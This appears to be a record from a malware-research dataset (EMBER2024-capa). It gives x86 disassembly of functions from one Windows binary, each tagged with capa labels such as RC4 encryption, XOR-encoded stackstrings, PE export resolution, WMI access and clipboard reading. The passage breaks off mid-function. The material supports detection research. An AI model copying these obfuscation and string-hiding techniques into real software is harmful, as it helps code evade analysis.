joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ed10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
movzx ebx, byte [edx]
test bl, bl
je 0x40ef72
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x24]
dec edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x40ed4c
cmp edx, esi
jae 0x40ef72
test edi, edi
je 0x40ef72
movzx ebp, bl
test bl, bl
js 0x40ed80
inc edx
mov word [eax], bp
lea ecx, [eax + 2]
mov esi, ecx
sub esi, eax
sar esi, 1
sub edi, esi
mov eax, ecx
mov esi, dword [esp + 0x2c]
mov bh, byte [edx]
mov bl, bh
test bh, bh
jne 0x40ed40
jmp 0x40ef72
mov ecx, ebp
and ecx, 0xffffffe0
cmp ecx, 0xc0
jne 0x40edbb
cmp bl, 0xc2
jb 0x40ed70
mov bh, byte [edx + 1]
movzx esi, bh
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x40ee1d
add edx, 2
lea ecx, [eax + 2]
and ebp, 0x1f
shl ebp, 6
and esi, 0x3f
or esi, ebp
mov word [eax], si
jmp 0x40ed62
mov ecx, ebp
and ecx, 0xfffffff0
cmp ecx, 0xe0
jne 0x40ede5
movzx ecx, byte [edx + 1]
cmp bl, 0xed
je 0x40ee27
cmp ebp, 0xe0
jne 0x40ee30
mov ebx, ecx
add bl, 0x40
cmp bl, 0xe0
jb 0x40ed6c
jmp 0x40ee30
mov ecx, ebp
and ecx, 0xfffffff8
cmp ecx, 0xf0
jne 0x40ef51
cmp bl, 0xf4
ja 0x40ed70
movzx ecx, byte [edx + 1]
je 0x40ee7a
cmp ebp, 0xf0
jne 0x40ee83
mov bh, cl
add bh, 0x40
cmp bh, 0xd0
jb 0x40ed6c
jmp 0x40ee83
inc edx
mov esi, dword [esp + 0x2c]
jmp 0x40ed72
cmp cl, 0x9f
ja 0x40ed6c
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ef58
mov bh, byte [edx + 2]
movzx esi, bh
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ef5e
shl ebp, 0xc
and ecx, 0x3f
shl ecx, 6
or ecx, ebp
add edx, 3
mov esi, dword [esp]
add esi, ecx
add esi, 0xffffff80
lea ecx, [eax + 2]
mov word [eax], si
jmp 0x40ed62
cmp cl, 0x8f
ja 0x40ed6c
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ef58
mov bh, byte [edx + 2]
movzx ebp, bh
mov esi, ebp
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ef5e
mov dword [esp], ebp
movzx ebp, byte [edx + 3]
mov esi, ebp
not esi
mov dword [esp + 4], esi
or esi, 0xc0
mov dword [esp + 8], ebp
add esi, ebp
inc esi
cmp esi, 0x80
jne 0x40ef6a
mov ebp, dword [esp + 8]
inc ebp
and bl, 7
movzx esi, bl
shl esi, 0x12
and ecx, 0x3f
shl ecx, 0xc
or ecx, esi
mov esi, dword [esp]
and esi, 0x3f
shl esi, 6
or esi, ecx
add edx, 4
mov ecx, dword [esp + 4]
or ecx, 0x3f
add ecx, ebp
add ecx, esi
cmp ecx, 0x10000
jb 0x40ed6c
cmp edi, 2
jb 0x40ef51
mov ebp, ecx
xor ecx, 0x10000
and ebp, 0xfffeffff
add ebp, ebp
sub ebp, ecx
mov ecx, ebp
shr ecx, 0xa
and ecx, 0x3ff
or ecx, 0xd800
mov word [eax], cx
and ebp, 0x3ff
or ebp, 0xdc00
lea ecx, [eax + 4]
mov word [eax + 2], bp
jmp 0x40ed62
mov ecx, eax
jmp 0x40ed62
inc edx
jmp 0x40ed6c
add edx, 2
mov esi, dword [esp + 0x2c]
jmp 0x40ed72
add edx, 3
jmp 0x40ed6c
mov word [eax], 0
sub eax, dword [esp + 0x20]
sar eax, 1
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40fbf0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x43c
mov edi, dword [esp + 0x468]
mov dword [esp + 0x3c], 0x73e57105
mov dword [esp + 0x40], 0x6ff76de6
mov dword [esp + 0x44], 0x6bfe69fc
mov dword [esp + 0x48], 0x67316505
mov dword [esp + 0x4c], 0x6334612d
mov dword [esp + 0x50], 0x9fbe9dcc
mov dword [esp + 0x54], 0x9bf599c0
mov dword [esp + 0x58], 0x9700950d
mov dword [esp + 0x5c], 0x9305910c
mov dword [esp + 0x60], 0x8f1d8d03
mov dword [esp + 0x64], 0x8bfc89a8
mov dword [esp + 0x68], 0x87a685e8
mov dword [esp + 0x6c], 0x83d281d1
mov dword [esp + 0x70], 0xbfeebdea
mov dword [esp + 0x74], 0xbb9ab9f3
mov dword [esp + 0x78], 0xb72fb5db
mov dword [esp + 0x7c], 0xb3fcb126
mov dword [esp + 0x80], 0xafe5ade0
mov dword [esp + 0x84], 0xab22a988
mov dword [esp + 0x88], 0xa7eaa5ea
mov dword [esp + 0x8c], 0xa382a1f9
mov dword [esp + 0x90], 0xdf4edd9d
mov dword [esp + 0x94], 0xdb4ed948
mov dword [esp + 0x98], 0xd7b9d549
mov dword [esp + 0x9c], 0xd3b0d14d
mov dword [esp + 0xa0], 0xcf57cdb7
mov dword [esp + 0xa4], 0xcb9dc944
mov dword [esp + 0xa8], 0xc795c589
mov dword [esp + 0xac], 0xc394c18f
mov dword [esp + 0xb0], 0xffb0fdaf
mov dword [esp + 0xb4], 0xfba2f9d8
mov dword [esp + 0xb8], 0xf78ef58f
mov dword [esp + 0xbc], 0xf387f19c
mov dword [esp + 0xc0], 0xefbaed98
mov dword [esp + 0xc4], 0xeb7ee9c8
mov dword [esp + 0xc8], 0xe77de57d
mov dword [esp + 0xcc], 0xe3c2e17d
mov dword [esp + 0xd0], 0x1f831d63
mov dword [esp + 0xd4], 0x1b81197b
mov dword [esp + 0xd8], 0x174f1583
mov dword [esp + 0xdc], 0x13511130
mov dword [esp + 0xe0], 0xf9c0d94
mov dword [esp + 0xe4], 0xb9f099f
mov dword [esp + 0xe8], 0x7510599
mov dword [esp + 0xec], 0x3530151
mov dword [esp + 0xf0], 0x3f683d75
mov dword [esp + 0xf4], 0x3b6c3968
mov dword [esp + 0xf8], 0x37603564
mov dword [esp + 0xfc], 0x33123160
mov dword [esp + 0x100], 0x2f4f2d5f
mov dword [esp + 0x104], 0x2b4b29b6
mov dword [esp + 0x108], 0x27bf25b6
mov dword [esp + 0x10c], 0x236f2177
mov dword [esp + 0x110], 0x5f115d0f
mov dword [esp + 0x114], 0x5b09590e
mov dword [esp + 0x118], 0x5756551a
mov eax, dword [0x451a10]
mov ecx, 0x9cb77bec
movzx edx, byte [esp + ecx + 0x63488450]
xor edx, ecx
lea esi, [edx - 0xf956b9d]
mov ebx, esi
and ebx, 1
mov ebp, esi
and ebp, 0xfe
xor esi, 1
add edx, esi
add edx, 0xf06a9463
sub edx, ebp
add edx, ebx
mov byte [esp + ecx + 0x63488450], dl
inc ecx
cmp ecx, 0x9cb77ccc
jne 0x40fe40
lea esi, [esp + 0x3c]
push 0
push 0
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ecx*4 + 0x44bda8]
mov ecx, 0x897cbff5
xor ecx, dword [0x44bdb0]
add ecx, edx
inc ecx
jmp ecx

Function at 0x411070
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
shr eax, 0x1f
jmp dword [eax*4 + 0x44c7c0]
Function at 0x41d400
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x1100
call fcn.0040cb20
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41d420
sar esi, 1
lea ecx, [esp + 0x4c]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x452d54]
mov ebx, dword [esp + 0x4c]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41d454
mov eax, 0xffffffff
jmp 0x41d457
lea eax, [ebx + ebx]
push eax
call fcn.0040cbc0
add esp, 4
lea ecx, [esp + 0x4c]
push ecx
push ebx
mov dword [esp + 0x34], eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x452d54]
mov eax, dword [esp + 0x4c]
mov ecx, eax
add ecx, 0xd
js 0x41d48c
lea edi, [eax*2 + 0x1a]
push edi
call fcn.0040cbc0
add esp, 4
mov ebx, eax
mov dword [esp + 0xfc], 0x21f22780
mov dword [esp + 0x100], 0x3daf2383
mov dword [esp + 0x104], 0x39de3fb0
mov dword [esp + 0x108], 0x35853b96
mov dword [esp + 0x10c], 0x31bb3786
mov dword [esp + 0x110], 0xd83338b
mov dword [esp + 0x114], 0x90e0fba
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xc9
xor cl, byte [esp + eax + 0xfc]
add cl, 0x13
mov byte [esp + eax + 0xfc], cl
inc eax
cmp eax, 0x1c
jne 0x41d4f0
mov edx, dword [esp + 0x2c]
movzx ecx, word [edx]
mov eax, ebx
test cx, cx
je 0x41d531
add edx, 2
mov eax, ebx
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d520
mov word [eax], 0
movzx ecx, word [esp + 0xfc]
test cx, cx
je 0x41d561
lea edx, [esp + 0xfe]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d550
mov word [eax], 0
lea eax, [esp + 0x90]
push 0x60
push 3
push 0x120089
push eax
push ebx
call fcn.00445bb0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d78c]
Function at 0x425930
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
sub esp, 0x14
mov edi, dword [esp + 0x24]
mov eax, 0xfffffffe
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x425940
cmp eax, 0xffffffed
jge 0x425957
mov eax, 0xffffffff
jmp 0x42595a
add eax, 0x12
push eax
call fcn.0040cbc0
add esp, 4
mov esi, eax
mov dword [esp], 0xb721896c
mov dword [esp + 4], 0xb32bb559
mov dword [esp + 8], 0xbf6cb16c
mov dword [esp + 0xc], 0xbb54bd50
mov dword [esp + 0x10], 0xb9b8
xor eax, eax
xor ecx, ecx
mov ebx, eax
and ebx, 0x3c
mov edx, ecx
xor edx, 0x5e
add edx, ebx
xor dl, byte [esp + ecx]
add dl, 0x2a
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x14
jne 0x425990
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x4259d1
add edi, 2
mov eax, esi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x4259c0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x425a01
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4259f0
mov word [eax], 0
mov eax, esp
push eax
push esi
call fcn.00445d50
add esp, 8
mov edi, eax
mov ebx, dword [esp]
jmp dword [0x44dd08]

Function at 0x425a40
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x30
movzx eax, byte [esp + 0x5c]
mov ebp, dword [esp + 0x58]
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x50]
mov esi, dword [esp + 0x4c]
mov edx, dword [esp + 0x48]
mov ebx, dword [esp + 0x44]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ebp
mov byte [esp + 0x2c], al
test ebp, ebp
setg cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44de20]
Function at 0x428330
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get disk information

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x98
mov dword [esp], 0xcf72c92d
mov dword [esp + 4], 0xc365cd5f
mov dword [esp + 8], 0xc75ac161
mov dword [esp + 0xc], 0xbb2ac505
mov dword [esp + 0x10], 0xbf7ab928
mov dword [esp + 0x14], 0xb326bd1d
mov dword [esp + 0x18], 0xb753b111
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xb5b4
mov ecx, 0x272a93b3
mov edx, 0x18d56c4d
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x272a93b3]
mov ebx, edx
and ebx, 0x842076
mov edi, edx
or edi, 0xdc534c09
add edi, ecx
or edi, ebx
mov ebx, esi
xor ebx, 9
xor esi, 0xdc534c09
or esi, ebx
not esi
mov ebx, edi
and ebx, esi
add esi, edi
add ebx, ebx
sub esi, ebx
add esi, 0x3c2b1d85
mov edi, esi
and edi, 1
xor esi, 1
lea ebx, [esi + edi*2]
mov byte [esp + ecx - 0x272a93b3], bl
inc ecx
dec edx
cmp ecx, 0x272a93d3
jne 0x428390
lea ebx, [esp + 0x7a]
mov edx, esp
mov edi, ebx
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x96]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea ebp, [esp + 0x50]
push ebp
push 0
push 0
push 0xe
push ebx
push 0
call dword [0x452d54]
mov esi, dword [esp + 0x50]
mov edi, 0xffffffff
test esi, esi
jns 0x428433
mov eax, 0xffffffff
jmp 0x428436
lea eax, [esi + esi]
push eax
call fcn.0040cbc0
add esp, 4
push ebp
mov ebp, eax
push esi
push eax
push 0xe
push ebx
push 0
call dword [0x452d54]
mov eax, dword [esp + 0x50]
mov ecx, eax
add ecx, 9
js 0x428461
lea edi, [eax*2 + 0x12]
push edi
call fcn.0040cbc0
add esp, 4
mov edi, eax
mov dword [esp], 0x93229134
mov dword [esp + 4], 0x9f3d9d3d
mov dword [esp + 8], 0x9b3b9933
mov dword [esp + 0xc], 0x872b852b
mov dword [esp + 0x10], 0x83828113
mov dword [esp + 0x14], 0
mov eax, 0xf47fc3a4
movzx ecx, byte [esp + eax + 0xb803c5c]
xor ecx, eax
add ecx, 0xf1043890
mov edx, ecx
xor edx, 0xc4
and ecx, 0x3b
add ecx, ecx
sub ecx, edx
mov byte [esp + eax + 0xb803c5c], cl
inc eax
cmp eax, 0xf47fc3bc
jne 0x4284a0
movzx ecx, word [ebp]
mov eax, edi
test cx, cx
je 0x4284f1
lea edx, [ebp + 2]
mov eax, edi
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4284e0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x428521
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428510
mov word [eax], 0
lea eax, [esp + 0x74]
push eax
push edi
call fcn.00445d50
add esp, 8
not eax
shr eax, 0x1f
mov dword [esp + 0x6c], edi
jmp dword [eax*4 + 0x44e3f0]

Function at 0x42a9b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x844
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, 0x20219
mov ecx, 1
xor ebp, ebp
jmp dword [ecx*4 + 0x44eae0]
Function at 0x42e050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc8
push eax
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x84], 0x29ed2bcf
mov dword [ebp - 0x80], 0x2d9e2f98
mov dword [ebp - 0x7c], 0x319533e8
mov dword [ebp - 0x78], 0x35913784
mov dword [ebp - 0x74], 0x39e63bdf
mov dword [ebp - 0x70], 0x3d8f3fea
mov dword [ebp - 0x6c], 0x1a90388
mov dword [ebp - 0x68], 0x5a107b0
mov dword [ebp - 0x64], 0x9e70ba0
mov dword [ebp - 0x60], 0xdd20fe5
mov dword [ebp - 0x5c], 0x11b913b9
mov dword [ebp - 0x58], 0x15a317a5
mov dword [ebp - 0x54], 0x19ab1bbb
mov dword [ebp - 0x50], 0x1dec1faa
mov dword [ebp - 0x4c], 0xe151e3a4
mov dword [ebp - 0x48], 0xe5e6e74c
lea eax, [ebp - 0x44]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x44], 0
mov ecx, 0x42fa3c7
mov edx, 0xfbd05c38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ebp + ecx - 0x42fa44b]
mov esi, ecx
and esi, edi
add esi, esi
sub esi, edi
add esi, edx
and esi, ecx
mov ebx, esi
and ebx, 0x42fa7fd
mov eax, esi
and eax, 2
or esi, 2
imul esi, eax
xor eax, 2
imul eax, ebx
add esi, eax
mov eax, esi
not eax
and eax, ecx
and esi, edx
sub esi, eax
mov eax, esi
xor eax, edi
not esi
and esi, edi
add esi, esi
sub esi, eax
mov eax, esi
and eax, 1
xor esi, 1
lea eax, [esi + eax*2]
add al, 0x1c
mov byte [ebp + ecx - 0x42fa44b], al
inc ecx
dec edx
cmp ecx, 0x42fa409
jne 0x42e100
lea esi, [ebp - 0xd4]
lea eax, [ebp - 0x84]
mov ecx, 0x10
mov edi, esi
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0x94]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [ebp - 0x40]
push eax
push 0
push 0
push 0x1f
push esi
push 0
call dword [0x452d54]
mov edi, dword [ebp - 0x40]
test edi, edi
jns 0x42e1ab
mov eax, 0xffffffff
jmp 0x42e1ae
lea eax, [edi + edi]
push eax
call fcn.0040cbc0
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x40]
push eax
push edi
push ebx
push 0x1f
push esi
push 0
call dword [0x452d54]
lea eax, [ebp - 0x28]
push 0x60
push 3
push 0x120089
push eax
mov dword [ebp - 0x94], ebx
push ebx
call fcn.00445bb0
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
jmp dword [eax*4 + 0x44eec8]
Function at 0x42f8c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [esp + 0x40]
mov edi, dword [esp + 0x3c]
cmp edi, 0x24
ja 0x42f91a
cmp edi, 1
je 0x42f91a
mov ebp, dword [esp + 0x34]
mov ebx, ebp
jmp 0x42f8f1
inc ebx
movzx eax, byte [ebx]
movzx ecx, al
lea edx, [ecx - 9]
cmp edx, 5
jb 0x42f8f0
cmp ecx, 0x20
je 0x42f8f0
cmp ecx, 0x2b
mov edx, edi
je 0x42f910
cmp ecx, 0x2d
jne 0x42f92f
inc ebx
cmp al, 0x2b
sete byte [esp + 3]
jmp 0x42f934
xor edi, edi
test eax, eax
je 0x42faed
mov dword [eax], 0x16
jmp 0x42faed
mov byte [esp + 3], 1
test edx, edx
mov dword [esp + 4], ebp
jle 0x42f95d
cmp edx, 0x10
jne 0x42f975
cmp byte [ebx], 0x30
jne 0x42f956
movzx eax, byte [ebx + 1]
and al, 0xdf
xor ecx, ecx
cmp al, 0x58
sete cl
lea ebx, [ebx + ecx*2]
mov edi, 0x10
jmp 0x42f977
xor eax, eax
xor ecx, ecx
cmp byte [ebx], 0x30
setne al
sete cl
add ebx, ecx
lea edi, [eax*2 + 8]
jmp 0x42f977
mov edi, edx
movzx ecx, byte [esp + 3]
mov eax, SysReAllocString
mov dword [esp + 0x14], ecx
sub eax, ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
xor edx, edx
div edi
mov dword [esp + 0x18], eax
xor ebp, ebp
xor esi, esi
mov edx, edi
mov dword [esp + 0x1c], edi
inc ebx
jmp 0x42f9d0
mov ebp, ecx
mov edi, 0
mov eax, dword [esp + 0x40]
test eax, eax
je 0x42fa88
mov esi, edi
mov dword [eax], 0x22
mov dword [esp + 4], ebx
inc ebx
mov edi, ebp
movsx eax, byte [ebx - 1]
lea ebp, [eax - 0x30]
cmp ebp, 0xa
jb 0x42f9f7
mov ecx, eax
and ecx, 0xffffffdf
add ecx, 0xffffffbf
cmp ecx, 0x19
ja 0x42fab8
or al, 0x20
movsx ebp, al
add ebp, 0xffffffa9
cmp ebp, edx
jge 0x42fab8
mov eax, edi
mov ecx, dword [esp + 8]
xor eax, ecx
or eax, esi
je 0x42f9b0
mov dword [esp + 0x10], ebx
mov eax, edi
mov ecx, edx
mul edx
mov dword [esp + 4], eax
xor eax, eax
cmp dword [esp + 0x18], edi
mov edi, 0
sbb edi, esi
setae bl
jae 0x42fa40
xor edx, edx
mov esi, dword [esp + 8]
jmp 0x42fa49
imul esi, ecx
add edx, esi
mov esi, dword [esp + 4]
mov ecx, ebp
sar ecx, 0x1f
mov edi, dword [esp + 8]
sub edi, ebp
sbb eax, ecx
add ebp, esi
adc ecx, edx
cmp edi, esi
mov edi, ecx
mov ecx, dword [esp + 8]
sbb eax, edx
setae al
jae 0x42fa6d
xor edi, edi
mov ebp, ecx
and bl, al
mov eax, dword [esp + 0x40]
test eax, eax
mov edx, dword [esp + 0x1c]
je 0x42fa9d
test bl, bl
jne 0x42fa9d
mov ebx, dword [esp + 0x10]
jmp 0x42f9c3
mov dword [esp + 0xc], 0x22
mov dword [esp + 4], ebx
mov ebp, ecx
xor esi, esi
jmp 0x42f9a5
mov esi, edi
test bl, bl
jne 0x42faab
mov dword [esp + 0xc], 0x22
mov ebx, dword [esp + 0x10]
mov dword [esp + 4], ebx
jmp 0x42f9a5
mov eax, dword [esp + 0x38]
test eax, eax
je 0x42fac6
mov ecx, dword [esp + 4]
mov dword [eax], ecx
mov ecx, dword [esp + 0x40]
test ecx, ecx
mov eax, dword [esp + 0xc]
je 0x42fad4
mov eax, dword [ecx]
cmp eax, 0x22
jne 0x42fae4
mov edi, SysReAllocString
sub edi, dword [esp + 0x14]
jmp 0x42faed
cmp byte [esp + 3], 0
jne 0x42faed
neg edi
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x435060
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x310
mov dword [esp + 0x2e4], 0x44f7ec
mov dword [esp + 0xcc], 0
lea eax, [esp + 0xcc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x449aa0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x449ab0
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x2e0], eax
mov eax, dword [esp + 0x2e4]
mov ecx, dword [esp + 0x2e0]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x2dc], 0x44f7f4
mov dword [esp + 0x2d4], 0x44f7fc
mov dword [esp + 0x2cc], 0x44f804
mov dword [esp + 0x2c4], 0x44f80c
mov dword [esp + 0x2bc], 0x44f814
mov dword [esp + 0x2b4], 0x44f81c
mov dword [esp + 0x2ac], 0x44f020
mov dword [esp + 0x2a8], 0xa1
mov dword [esp + 0x2a4], 0x44f020
mov dword [esp + 0x2a0], 0xa2
mov dword [esp + 0x29c], 0x44f824
mov dword [esp + 0x294], 0x44f020
mov dword [esp + 0x290], 0xa4
mov dword [esp + 0x28c], 0x44f82c
mov dword [esp + 0x284], 0x44f834
mov dword [esp + 0x27c], 0x44f83c
mov dword [esp + 0x274], 0x44f020
mov dword [esp + 0x270], 0xa9
mov dword [esp + 0x26c], 0x44f020
mov dword [esp + 0x268], 0xa9
mov dword [esp + 0x264], 0x44f844
mov dword [esp + 0x25c], 0x44f84c
mov dword [esp + 0x254], 0x44f854
mov dword [esp + 0x24c], 0x44f020
mov dword [esp + 0x248], 0xad
mov dword [esp + 0x244], 0x44f020
mov dword [esp + 0x240], 0xae
mov dword [esp + 0x23c], 0x44f85c
mov dword [esp + 0x234], 0x44f020
mov dword [esp + 0x230], 0xb0
mov dword [esp + 0x22c], 0x44f864
mov dword [esp + 0x224], 0x44f020
mov dword [esp + 0x220], 0xb2
mov dword [esp + 0x21c], 0x44f86c
mov dword [esp + 0x214], 0x44f874
mov dword [esp + 0x20c], 0x44f87c
mov dword [esp + 0x204], 0x44f884
mov dword [esp + 0x1fc], 0x44f88c
mov dword [esp + 0x1f4], 0x44f020
mov dword [esp + 0x1f0], 0xb8
mov dword [esp + 0x1ec], 0x44f894
mov dword [esp + 0x1e4], 0x44f89c
mov dword [esp + 0x1dc], 0x44f020
mov dword [esp + 0x1d8], 0xbb
mov dword [esp + 0x1d4], 0x44f8a4
mov dword [esp + 0x1cc], 0x44f8ac
mov dword [esp + 0x1c4], 0x44f020
mov dword [esp + 0x1c0], 0xbe
mov dword [esp + 0x1bc], 0x44f8b4
mov dword [esp + 0x1b4], 0x44f020
mov dword [esp + 0x1b0], 0xc0
mov dword [esp + 0x1ac], 0x44f020
mov dword [esp + 0x1a8], 0xc1
mov dword [esp + 0x1a4], 0x44f020
mov dword [esp + 0x1a0], 0xc2
mov dword [esp + 0x19c], 0x44f020
mov dword [esp + 0x198], 0xc3
mov dword [esp + 0x194], 0x44f020
mov dword [esp + 0x190], 0xc4
mov dword [esp + 0x18c], 0x44f020
mov dword [esp + 0x188], 0xc5
mov dword [esp + 0x184], 0x44f020
mov dword [esp + 0x180], 0x9c
mov dword [esp + 0x17c], 0x44f020
mov dword [esp + 0x178], 0x9f
mov dword [esp + 0x174], 0x44f020
mov dword [esp + 0x170], 0xa6
mov dword [esp + 0x16c], 0x44f020
mov dword [esp + 0x168], 0xab
mov dword [esp + 0x164], 0x44f020
mov dword [esp + 0x160], 0xb3
mov dword [esp + 0x15c], 0x44f020
mov dword [esp + 0x158], 0xb6
mov dword [esp + 0x154], 0x44f020
mov dword [esp + 0x150], 0xb9
mov dword [esp + 0x14c], 0x44f020
mov dword [esp + 0x148], 0xbc
xor edi, edi
jmp eax
Function at 0x436d20
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
call fcn.0040e3c0
sub esp, 0x14
mov edi, esp
push eax
mov esi, esp
jmp 0x436d38
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
xor ebx, ebx
test al, 1
jne 0x436d5b
jmp 0x436ebd
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
xor ebx, ebx
cmp eax, 0
je 0x436eb5
mov dword [ebp - 0x18], esi
sub esp, 4
mov dword [ebp - 0x20], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
sub esp, 4
mov dword [esp], esi
call fcn.004329b0
add esp, 4
cmp eax, 0
setne cl
jmp 0x436dba
jmp 0x436dbc
xor ebx, ebx
test cl, 1
jne 0x436dc8
jmp 0x436ea4
mov dword [ebp - 0x1c], eax
mov ebx, eax
add ebx, 1
sub esp, 4
mov dword [esp], ebx
call fcn.0040cbc0
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], esi
call fcn.00432a20
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov al, byte [eax]
mov byte [ebp - 0x10], al
mov byte [edi], 0xa3
mov byte [edi + 1], 0x7d
mov byte [edi + 2], 0x7b
mov byte [edi + 3], 0x73
mov byte [edi + 4], 0x46
mov byte [edi + 5], 0x7a
mov byte [edi + 6], 0x47
mov byte [edi + 7], 0x75
mov byte [edi + 8], 0x7c
mov byte [edi + 9], 0x87
mov byte [edi + 0xa], 0x4e
mov byte [edi + 0xb], 0x53
mov byte [edi + 0xc], 0x48
mov byte [edi + 0xd], 0xdd
mov eax, 0xe
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x13
jne 0x436e38
xor eax, eax
mov ecx, dword [ebp + 8]
cmp eax, 0x13
jae 0x436e76
movzx edx, byte [edi + eax]
mov ebx, eax
add ebx, 0x58
and ebx, edx
xor edx, 0xffffffff
mov esi, 0xa7
sub esi, eax
and esi, edx
or ebx, esi
mov ecx, dword [ebp + 8]
mov dl, 0x47
sub dl, bl
mov byte [edi + eax], dl
add eax, 1
jmp 0x436e49
sub esp, 0xc
mov dword [esp], edi
mov esi, dword [ebp - 0x14]
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x1c]
